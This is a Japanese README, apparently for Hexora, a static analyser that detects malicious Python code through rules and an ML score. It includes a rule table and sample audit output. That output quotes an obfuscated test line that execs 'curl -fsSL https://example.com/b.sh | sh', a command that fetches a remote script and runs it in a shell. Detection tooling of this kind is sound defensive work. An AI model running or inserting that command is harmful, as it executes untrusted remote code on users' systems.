
Hexora は、Python コード内の悪意のあるパターンや有害なパターンを検出するために設計された静的解析ツールです。ルールベースの静的解析エンジンと、ソースファイル全体をスコアリングして悪意のあるものか良性かを分類する機械学習モデルを組み合わせています。
以下の用途に使用できます。
出力例については、docs/examples.md ファイルを参照してください。
Python 3.9 以降が必要です。
pip install hexora
uv を使用:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
python3.11 は仮想環境内の Python のバージョンです。
ヒント:
--exclude を使用して、特定の実行においてノイズの多いインポートなどの特定のルールコードを抑制できます--min-confidence を使用して、確信度の高い発見にのみ焦点を当てます。確信度は、特定のコードが悪意を持っている度合いを示します。一部のライブラリやコードスニペットは正当な目的で使用されており、正当なユースケースと悪意のあるものとを区別するのは困難です。そのため、一部のマッチは低い確信度レベルになります。
一部のルールは異なる確信度レベルを持つことができます。確信がない限り、コードで多くのルールをフィルタリングしないでください。たとえば、コード実行やシェル実行には、中程度、高、非常に高い確信度があります。これはコードがどのように実行されたかに依存します。難読化の試みを検出した場合、確信度を引き上げます。
たとえば、次のコードは高い確信度を持ちます:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
新しいルールを開発する際には、malicious-software-packages-dataset などの既存の悪意のあるデータセットを使用できます。
クローン後、ベンチマークツールをデータセットディレクトリに指定します:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
新しいルールは定期的に追加されています。
現在、以下のルールが利用可能です:
構文解析には、ruff ライブラリの AST パーサーを使用しています。
| Code | Name | Description |
|---|
| HX1000 | AppEnumeration | 疑わしいアプリケーションの列挙。 |
| HX1010 | BrowserEnumeration | 疑わしいブラウザの列挙(アプリ、クッキー、履歴など)。 |
| HX1020 | PathEnumeration | 疑わしいパスの列挙。 |
| HX1030 | OSFingerprint | 疑わしい OS フィンガープリンティング。 |
| HX2000 | ClipboardRead | クリップボードからの読み取り。 |
| HX2010 | EnvAccess | 機密性の高い環境変数へのアクセス。 |
| HX2020 | ScreenshotCapture | ディスプレイからのスクリーンショットのキャプチャ。 |
| HX3000 | CodeExec | 可能性のあるコード実行。 |
| HX3010 | ShellExec | シェルコマンドの実行。 |
| HX3040 | DLLInjection | 可能性のある DLL インジェクション。 |
| HX3050 | DangerousExec | シェルコマンド内での危険な可能性のあるコマンドの実行。 |
| HX3060 | SuspiciousCall | 疑わしい関数呼び出し。 |
| HX4000 | ObfuscatedShellExec | 難読化された可能性のあるシェルコマンドの実行。 |
| HX4010 | ObfuscatedCodeExec | 難読化された可能性のあるコードの実行。 |
| HX5000 | DunderImport | 疑わしい __import__ の使用。 |
| HX5010 | SuspiciousImport | 疑わしいインポート。 |
| HX5020 | CtypesImport | 疑わしい ctypes インポート。 |
| HX5030 | PickleImport | 疑わしい pickle インポート。 |
| HX5040 | StructImport | 疑わしい struct インポート。 |
| HX5050 | SocketImport | 疑わしい socket インポート。 |
| HX5060 | MarshalImport | 疑わしい marshal インポート。 |
| HX6000 | Base64String | 長い Base64 エンコードされた文字列を検出しました。コード難読化の可能性があります。 |
| HX6010 | HexedLiterals | 16進エンコードされたリテラルのリストを検出しました。ペイロードの可能性があります。 |
| HX6020 | HexedString | 長い16進エンコードされた文字列を検出しました。ペイロードの可能性があります。 |
| HX6030 | IntLiterals | 多数の整数リテラルを検出しました。コード難読化の可能性があります。 |
| HX6040 | CVEInLiteral | リテラルに CVE 識別子が含まれています。 |
| HX6050 | SuspiciousLiteral | 疑わしいリテラルを検出しました。データ列挙の可能性があります。 |
| HX6060 | PathTraversal | 疑わしいパストラバーサル。 |
| HX6070 | BrowserExtension | 機密性の高いブラウザ拡張機能の列挙。 |
| HX6080 | WebHook | 疑わしい Webhook を検出しました。データ流出の可能性があります。 |
| HX6090 | TelegramToken | 文字列リテラルに Telegram ボットトークンを検出しました。 |
| HX7000 | SuspiciousFunctionName | 疑わしい関数名。 |
| HX7010 | SuspiciousParameterName | 疑わしいパラメータ名。 |
| HX7020 | SuspiciousVariable | 疑わしい変数名。 |
| HX9000 | DataExfiltration | データ流出の可能性。 |
| HX8000 | BinaryDownload | 疑わしいバイナリダウンロード。 |
| HX8010 | BuiltinsVariable | 疑わしい組み込み変数の使用。 |
| HX8020 | SuspiciousComment | 疑わしいコメント。 |
| HX8030 | SuspiciousWrite | ファイルシステムへの疑わしい書き込み。 |
| HX8040 | InstallHook | 疑わしいインストールフックの設定。 |